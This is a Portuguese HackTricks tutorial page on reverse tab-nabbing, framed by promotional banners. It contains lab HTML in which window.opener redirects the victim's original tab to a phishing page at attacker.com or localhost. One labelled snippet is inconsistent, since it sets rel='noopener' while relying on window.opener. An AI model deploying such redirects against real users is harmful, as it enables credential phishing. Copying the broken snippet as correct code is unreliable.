hacktricks/pentesting-web/reverse-tab-nabbing.md
2023-06-06 18:56:34 +00:00

123 lines
7.5 KiB
Markdown

<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
# Descrição
Em uma situação em que um **atacante** pode **controlar** o argumento **`href`** de uma tag **`<a`** com o atributo **`target="_blank" rel="opener"`** que será clicada por uma vítima, o **atacante** **aponta** este **link** para um site sob seu controle (um **site** **malicioso**). Então, uma vez que a **vítima clica** no link e acessa o site do atacante, este **site malicioso** será capaz de **controlar** a **página original** via o objeto javascript **`window.opener`**.\
Se a página não tiver **`rel="opener"` mas contiver `target="_blank"` e também não tiver `rel="noopener"`** ela também pode ser vulnerável.
Uma maneira comum de abusar desse comportamento seria **alterar a localização do site original** via `window.opener.location = https://attacker.com/victim.html` para um site controlado pelo atacante que **parece com o original**, para que possa **imitar** o **formulário de login** do site original e solicitar credenciais ao usuário.
No entanto, observe que, como o **atacante agora pode controlar o objeto de janela do site original**, ele pode abusar dele de outras maneiras para realizar ataques mais **furtivos** (talvez modificando eventos javascript para exfiltrar informações para um servidor controlado por ele?)
# Visão geral
## Com link de retorno
Link entre páginas pai e filho quando o atributo de prevenção não é usado:
![](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
## Sem link de retorno
Link entre páginas pai e filho quando o atributo de prevenção é usado:
![](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
## Exemplos <a href="#examples" id="examples"></a>
Crie as seguintes páginas em uma pasta e execute um servidor web com `python3 -m http.server`\
Em seguida, **acessar** `http://127.0.0.1:8000/`vulnerable.html, **clique** no link e observe como a **URL do site original muda**.
```markup
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
{% endcode %}
{% code title="malicious.html" %}
```html
<a href="https://example.com" target="_blank" rel="noopener noreferrer" onclick="window.opener.location='https://attacker.com'">Click me!</a>
```
{% endcode %}
Este é um exemplo de código HTML malicioso que pode ser usado para realizar um ataque de reverse tab-nabbing. Quando o usuário clica no link, ele abre uma nova aba com o site de destino, mas a aba original é redirecionada para o site do atacante. Isso pode ser usado para roubar informações confidenciais do usuário ou realizar outras atividades maliciosas. É importante estar ciente desse tipo de ataque e tomar medidas para se proteger, como evitar clicar em links suspeitos e manter o software de segurança atualizado.
```markup
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
```
{% code title="malicious_redir.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
## Propriedades acessíveis <a href="#accessible-properties" id="accessible-properties"></a>
O site malicioso só pode acessar as seguintes propriedades do objeto de referência javascript **opener** (que é, na verdade, uma referência a uma instância da classe javascript **window**) em caso de acesso de **origem cruzada** (entre domínios):
* `opener.closed`: Retorna um valor booleano indicando se uma janela foi fechada ou não.
* `opener.frames`: Retorna todos os elementos iframe na janela atual.
* `opener.length`: Retorna o número de elementos iframe na janela atual.
* `opener.opener`: Retorna uma referência à janela que criou a janela.
* `opener.parent`: Retorna a janela pai da janela atual.
* `opener.self`: Retorna a janela atual.
* `opener.top`: Retorna a janela do navegador mais acima.
Se os domínios forem os mesmos, o site malicioso pode acessar todas as propriedades expostas pelo objeto de referência javascript [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window).
# Prevenção
As informações de prevenção estão documentadas na [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
# Referências
{% embed url="https://owasp.org/www-community/attacks/Reverse_Tabnabbing" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>